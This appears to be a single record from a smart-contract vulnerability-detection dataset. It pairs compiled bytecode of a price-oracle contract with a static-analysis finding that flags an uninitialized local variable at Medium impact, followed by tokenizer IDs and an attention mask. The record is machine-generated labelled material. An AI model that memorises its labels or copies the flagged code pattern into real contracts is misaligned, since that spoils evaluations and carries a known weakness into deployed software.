a565b6000610cdf83610950565b90506000198114610d8b5760038181548110610cf757fe5b60009182526020918290206040805160e081018252600790930290910180546001600160a01b03908116845260018201541693830193909352600283015490820152600380830154606083015260048301546080830152600583015460a0830152600683015491929160c084019160ff90911690811115610d7457fe5b6003811115610d7f57fe5b815250509150506103f9565b60405162461bcd60e51b815260040161043990612218565b610dab611cea565b6000610cdf83610bec565b610dbe6111cf565b6005546001600160a01b03908116911614610deb5760405162461bcd60e51b815260040161043990612488565b828114610e0a5760405162461bcd60e51b81526004016104399061214c565b60005b8381101561061757610e1d611cea565b610e2c86868481811061048357fe5b905060018160c001516003811115610e4057fe5b14610e5d5760405162461bcd60e51b815260040161043990612248565b604051602001610e6c90612044565b6040516020818303038152906040528051906020012081604001511415610ea55760405162461bcd60e51b8152600401610439906122fa565b838383818110610eb157fe5b9050602002013560001415610ed85760405162461bcd60e51b8152600401610439906122a5565b838383818110610ee457fe5b6040938401516000908152600660209081529490209302919091013590915550600101610e0d565b6000805b600354811015610a3057610f22611cea565b60038281548110610f2f57fe5b60009182526020918290206040805160e081018252600790930290910180546001600160a01b03908116845260018201541693830193909352600283015490820152600380830154606083015260048301546080830152600583015460a0830152600683015491929160c084019160ff90911690811115610fac57fe5b6003811115610fb757fe5b8152505090508381604001511415610fd1575090506103f9565b50600101610f10565b610fe2611cea565b6000610cdf83610f0c565b610ff56111cf565b6000546001600160a01b039081169116146110225760405162461bcd60e51b815260040161043990612372565b6001600160a01b0381166110485760405162461bcd60e51b815260040161043990612175565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6040516020016110b290612044565b6040516020818303038152906040528051906020012081565b60006110d5611cea565b6110de83610ccc565b90506000808260c0015160038111156110f357fe5b14156111125761110b61110583611712565b836117cc565b905061116f565b60018260c00151600381111561112457fe5b14156111365761110b611105836117f7565b60028260c00151600381111561114857fe5b14156111575761110b8261180c565b60405162461bcd60e51b8152600401610439906121ea565b806106e25760405162461bcd60e51b8152600401610439906124e4565b60008261119b575060006111c9565b828202828482816111a857fe5b04146111c65760405162461bcd60e51b815260040161043990612331565b90505b92915050565b3390565b6111db611cea565b60006111e683610950565b90506111f0611cea565b600382815481106111fd57fe5b60009182526020918290206040805160e081018252600790930290910180546001600160a01b03908116845260018201541693830193909352600283015490820152600380830154606083015260048301546080830152600583015460a0830152600683015491929160c084019160ff9091169081111561127a57fe5b600381111561128557fe5b9052506003805491925090600019810190811061129e57fe5b9060005260206000209060070201600383815481106112b957fe5b60009182526020909120825460079092020180546001600160a01b03199081166001600160a01b0393841617825560018085015481840180549093169416939093179055600280840154908201556003808401548183015560048085015490830155600580850154908301556006808501549083018054939460ff90921693909260ff199091169190849081111561134d57fe5b02179055506000915061135d9050565b8160c00151600381111561136d57fe5b141561139357604080820151600090815260016020522080546001600160a01b03191690555b600380548061139e57fe5b6000828152602080822060076000199094019384020180546001600160a01b03199081168255600182018054909116905560028101839055600381018390556004810183905560058101929092556006909101805460ff1916905591558151908201516040808401516060850151608086015160a087015160c088015194517f0d4daed3ad08e9b5b6db7ad1ee5a0882a45ded7ca7115ea73d49b7d302617e1097611450979096909594939291612081565b60405180910390a19392505050565b608081015160608201516114729161118c565b8160a00151146114945760405162461bcd60e51b8152600401610439906121bb565b6000816020015190506000816001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156114d857600080fd5b505afa1580156114ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115109190611ff7565b60ff169050826060015181600a0a1461153b5760405162461bcd60e51b8152600401610439906124b7565b60038054600181810183556000839052855160079092027fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b810180546001600160a01b039485166001600160a01b031991821617825560208901517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85c840180549190961691161790935560408701517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85d82015560608701517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85e82015560808701517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85f82015560a08701517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f86082015560c08701517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f861909101805488959293919260ff19909116919084908111156116ad57fe5b021790555050835160208501516040808701516060880151608089015160a08a015160c08b015194517f64fdaae2ed2352d97046ce7576fb46bdbabc03ad7485286c641355b77ad606e5985061170597969590612081565b60405180910390a1505050565b60408082015160009081526001602052908120546001600160a01b03168061174c5760405162461bcd60e51b8152600401610439906123a7565b6000816001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b15801561178757600080fd5b505afa15801561179b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117bf9190611fa6565b5091979650505050505050565b60a08101516000906111c6906117f1856ec097ce7bc90715b34b9f100000000061118c565b90611ac9565b60409081015160009081526006602052205490565b6000806000611819611cea565b611821611cea565b600086602001516001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561186057600080fd5b505afa158015611874573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118989190611da3565b9050600087602001516001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156118d957600080fd5b505afa1580156118ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119119190611da3565b905061191c82610da3565b935061192781610da3565b9250505060008087602001516001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561196b57600080fd5b505afa15801561197f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a39190611f3a565b506001600160701b031691506001600160701b03169150611a006ec097ce7bc90715b34b9f10000000006119e560026119e56119f06119eb876119e58b611b0b565b9061118c565b611b6d565b6119e56119eb896119e58d611b0b565b95505050600086602001516001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611a4357600080fd5b505afa158015611a57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a7b9190611f8e565b90506000611a9a8360a001518560a0015161118c90919063ffffffff16565b9050611aaf611aa882611b6d565b839061118c565b9450611abf915085905084611ac9565b9695505050505050565b60006111c683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611cb3565b6000808260c001516003811115611b1e57fe5b1415611b3457611b2d82611712565b90506103f9565b60018260c001516003811115611b4657fe5b1415611b5557611b2d826117f7565b60405162461bcd60e51b81526004016104399061240d565b600081611b7c575060006103f9565b816001600160801b8210611b955760809190911c9060401b5b680100000000000000008210611bb05760409190911c9060201b5b6401000000008210611bc75760209190911c9060101b5b620100008210611bdc5760109190911c9060081b5b6101008210611bf05760089190911c9060041b5b60108210611c035760049190911c9060021b5b60088210611c0f5760011b5b6001818581611c1a57fe5b048201901c90506001818581611c2c57fe5b048201901c90506001818581611c3e57fe5b048201901c90506001818581611c5057fe5b048201901c90506001818581611c6257fe5b048201901c90506001818581611c7457fe5b048201901c90506001818581611c8657fe5b048201901c90506000818581611c9857fe5b049050808210611ca85780611caa565b815b95945050505050565b60008183611cd45760405162461bcd60e51b81526004016104399190612119565b506000838581611ce057fe5b0495945050505050565b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008083601f840112611d35578182fd5b50813567ffffffffffffffff811115611d4c578182fd5b6020830191508360208083028501011115611d6657600080fd5b9250929050565b805169ffffffffffffffffffff811681146111c957600080fd5b600060208284031215611d98578081fd5b81356111c6816125f7565b600060208284031215611db4578081fd5b81516111c6816125f7565b60008060008060008060c08789031215611dd7578182fd5b8635611de2816125f7565b95506020870135611df2816125f7565b945060408701359350606087013592506080870135915060a087013560048110611e1a578182fd5b809150509295509295509295565b60008060008060408587031215611e3d578384fd5b843567ffffffffffffffff80821115611e54578586fd5b611e6088838901611d24565b90965094506020870135915080821115611e78578384fd5b50611e8587828801611d24565b95989497509550505050565b600060208284031215611ea2578081fd5b5035919050565b600060208284031215611eba578081fd5b813567ffffffffffffffff80821115611ed1578283fd5b818401915084601f830112611ee4578283fd5b813581811115611ef2578384fd5b604051601f8201601f191681016020018381118282101715611f12578586fd5b604052818152838201602001871015611f29578485fd5b611abf8260208301602087016125bf565b600080600060608486031215611f4e578283fd5b8351611f598161260f565b6020850151909350611f6a8161260f565b604085015190925063ffffffff81168114611f83578182fd5b809150509250925092565b600060208284031215611f9f578081fd5b5051919050565b600080600080600060a08688031215611fbd578283fd5b611fc78787611d6d565b9450602086015193506040860151925060608601519150611feb8760808801611d6d565b90509295509295909350565b600060208284031215612008578081fd5b815160ff811681146111c6578182fd5b6000828483379101908152919050565b6000825161203a8184602087016125cb565b9190910192915050565b621350d160ea1b815260030190565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b0388811682528716602082015260408101869052606081018590526080810184905260a0810183905260e081016120be836125b4565b60c083015298975050505050505050565b90815260200190565b6000604082528360408301528385606084013760608483018101919091526001600160a01b03929092166020820152601f909201601f191690910101919050565b60006020825282518060208401526121388160408501602087016125cb565b601f01601f19169190910160400192915050565b6020808252600f908201526e0d8cadccee8d040dad2e6dac2e8c6d608b1b604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b602080825260159082015274696e76616c69642070726963654d616e746973736160581b604082015260600190565b602080825260149082015273696e76616c696420707269636520736f7572636560601b604082015260600190565b6020808252601690820152751d1bdad95b8818dbdb999a59c81b9bdd08199bdd5b9960521b604082015260600190565b6020808252601b908201527f63616e206f6e6c7920706f7374206b61707461696e2070726963650000000000604082015260600190565b6020808252600c908201526b39b0b6b29035b0b83a30b4b760a11b604082015260600190565b602080825260119082015270070726963652063616e6e6f74206265203607c1b604082015260600190565b60208082526010908201526f1b5a5cdb585d18da1959081a5b9c1d5d60821b604082015260600190565b6020808252601a908201527f63616e6e6f7420706f7374206d63642070726963652068657265000000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601c908201527f61676772656761746f722061646472657373206e6f7420666f756e6400000000604082015260600190565b60208082526015908201527404d43442070726963652063616e6e6f74206265203605c1b604082015260600190565b6020808252600e908201526d696e76616c696420636f6e66696760901b604082015260600190565b6040808252600390820152621350d160ea1b6060820152602081019190915260800190565b6020808252601490820152731b5a5cdb585d18da1959081c1c9a58d9555b9a5d60621b604082015260600190565b60208082526015908201527431b0b63632b91034b9903737ba1025b0b83a30b4b760591b604082015260600190565b6020808252601390820152721b5a5cdb585d18da19590818985cd9555b9a5d606a1b604082015260600190565b6020808252600f908201526e0696e76616c6964207072696365203608c1b604082015260600190565b600060e08201905060018060a01b038084511683528060208501511660208401525060408301516040830152606083015160608301526080830151608083015260a083015160a083015261256460c08401516125b4565b60c083015292915050565b6000808335601e19843603018112612585578283fd5b83018035915067ffffffffffffffff82111561259f578283fd5b602001915036819003821315611d6657600080fd5b80600481106103f957fe5b82818337506000910152565b60005b838110156125e65781810151838201526020016125ce565b838111156106af5750506000910152565b6001600160a01b038116811461260c57600080fd5b50565b6001600160701b038116811461260c57600080fdfea264697066735822122017d6b2282c8415e1caba917c3ef6de7cab15b42c70c021c6d53a5649230ba1dd64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 21619, 5243, 17914, 16703, 2683, 2497, 2549, 2546, 2692, 11329, 2629, 10354, 17788, 2692, 2575, 2497, 12521, 18827, 2475, 2278, 2692, 21926, 2050, 14142, 9468, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1012, 1013, 3976, 8663, 8873, 2290, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 1045, 19496, 26760, 9331, 2615, 2475, 4502, 4313, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1030, 2516, 12631, 2063, 8778, 14721, 1058, 2475, 1013, 1013, 1013, 1030, 3166, 12631, 2063, 2974, 3206, 12631, 8780, 22648, 20414, 2475, 2003, 3976, 8663, 8873, 2290, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]